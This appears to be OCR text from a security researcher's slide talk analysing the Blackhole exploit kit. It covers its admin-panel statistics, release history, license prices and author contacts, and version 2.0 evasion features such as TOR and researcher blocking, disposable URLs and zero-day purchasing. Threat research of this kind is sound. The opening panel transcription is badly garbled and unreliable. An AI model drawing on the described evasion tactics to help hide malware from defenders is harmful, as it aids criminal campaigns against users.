Windows 2000 212 205 L] 0 SKCNAOWTHI: NoateepauTe napons:
Windows 98 36 35 0 0 Java OBE, Java TRUST, Java SMB, JAVA
Windows NT 22 22 (1] 0 SKYLINE, PDF ALL, POF LIETIFF
Linux -] 7 ] 0 OARNLI: HHTEPOENC:
Mac OS s 5 0 0 noname_15 -1 uz @
NOTOKKH TPADM Azuk: Wabnon:
Bece
MM XWTH XOCTH 3ATPY3KH % Teadu Pycckuin ~ pda -
ToPZZZ 118065114072 11615 10 M DEFAULT =
default 613 543 0 0 . AHTHBUPYCHAA NPOBEPKA:
PEAMPEKTH:
SKCMNNONTBbI gg.com MR formm: Napane:
MMA 3ATPYZKH % : ] [ |
Java OBE 7254 100
Java SMB 382 100
JAVA SKYLINE 3942 100
PDF ALL 1 100 Nuwanr OC:
PDF LIBTIFF 4 100 YEPHBII CIMCOK [0 ] [0 |
BPAY3IEPLI PEGEPEPBI Nyt cTpan: Numur pedepepos:
uMA XTI XOCTE ZAMPY3KH % |15 I I‘lﬂ I
MSIE 59385 57279 10430 18 | ” Add |
Firefox 45667 43706 1191 3
Chrome 11282 11109 0 0 P
Opera 1359 1304 O 0
Safari 952 932 0 o | [ Add |
Mozilla 33 30 0 0




History of Releases

Version Release

1.0 August 2010
1.0.2 November 2010
1.1.0 June 2011

1.2.0 November 2011
1.2.1 December 2011
1.2.2 February 2012
1.2.3 March 2012
1.2.4 July 2012

2.0 September 2012



Version 2.0 Annhouncement

The license for your server:

-License for 3 months & 788

-The license for six months & 1,888

License-year § 1588

multidomain wversicn bundle - % 288 cne-time fee for the duration of the license (not binding on the
domain and the ip)

change of the domain on the standard version bundle - % 28

change ip for multidomain version cords - § 5@

a one-time cleaning - % 58

avtochistki a month - % 38@ {(cleaning poured yourself on your server, as soon as yvour slept kriptor)

Due to the fact that the topic for version 1. # Accumulated a lot of reviews and reports for version 2.8
allocated a separate topic, and the old top will be closed as a history, here is the link to it:

http:/ fexploit.in/forum/index. php? showtopic = 41662

Contacts:

Author and a support to one person (working normalized):
JID: paunch@jabber.no

(?ID: paunch@thesecure.biz)

JID: paunch@neko.im

ICQ: 343882

A support (working hours from 9 to 19 on weekdays):
JID: blackholeZ@jabber.ru
ICO: 538832




Version 2.0 Annhouncement

- A number of new traffic blocking options
- Block or allow specific referrers
- Block traffic without referrers
- Block based off a bot IP list
- Block TOR traffic
- Recording mode

- Recording mode is most interesting
- Assumes all traffic after your campaign is researcher or AV traffic
- Adds the client IPs from this traffic to the bot IP list



Version 2.0 Annhouncement

- Blackhole 2.0 was meant to focus more on evasion
- Prevent researcher analysis and thus security detection

- URL structure changes

- “traffic unfortunately was recognizable for AV companies and
reversers, for example, /main.php?varname=lgjlrewgjlrwbnvi2. The
new version allows for URLs you can make yourself’

- Disposable hosts

- “now generate a dynamic URL, which is valid for a few seconds,
you need only one infection”



Version 2.0 Annhouncement

- Prevent direct download of your Trojan

- “secure your exe, AV company can not just download it, which will
keep your exe clean as long as possible.”

- Captcha now used for login

- “Captcha entered for logging on, it was not enough to break a few
cases the admin panel of clients by Brutus”

- More granular detection of mobile clients

- “Added Win8 and mobile devices to the list of operating systems in
order to see how much of your traffic is mobile and you can redirect
to the appropriate affiliate.”



L
Next Up for Blackhole

- Ongoing updates to obfuscation

- Zero Day integration
- Two Java 0-day in six months time
- From POC
- Purchased from market

- Evolution of premium Kkits

“‘We are setting aside a $100K budget to purchase browser and
browser plug-in vulnerabilities, which are going to be used
exclusively by us, without being released to public (not counting the
situations, when a vulnerability is made public not because of us).”



L
Next Up for Blackhole

- Is Cool the next Blackhole?

- Zero days found in Cool began showing up in Blackhole after public
announcements

- Researchers began to question if the authors were the same
person

- Paunch acknowledged being responsible for the Cool Kkit,
and said his new exploit framework costs a whopping
$10,000 a month. — Brian Krebs



L
Blackhole’s ripple

- From Redkit to CritXpack, Blackhole’s success in the
underground markets seems to be creating a market of
opportunity for others to create their own exploit Kits

- Kits used in malicious email campaigns are beginning to
diversify

- Tools used by Blackhole are also being used by other kits



QUESTIONS?

castacio@websense.com



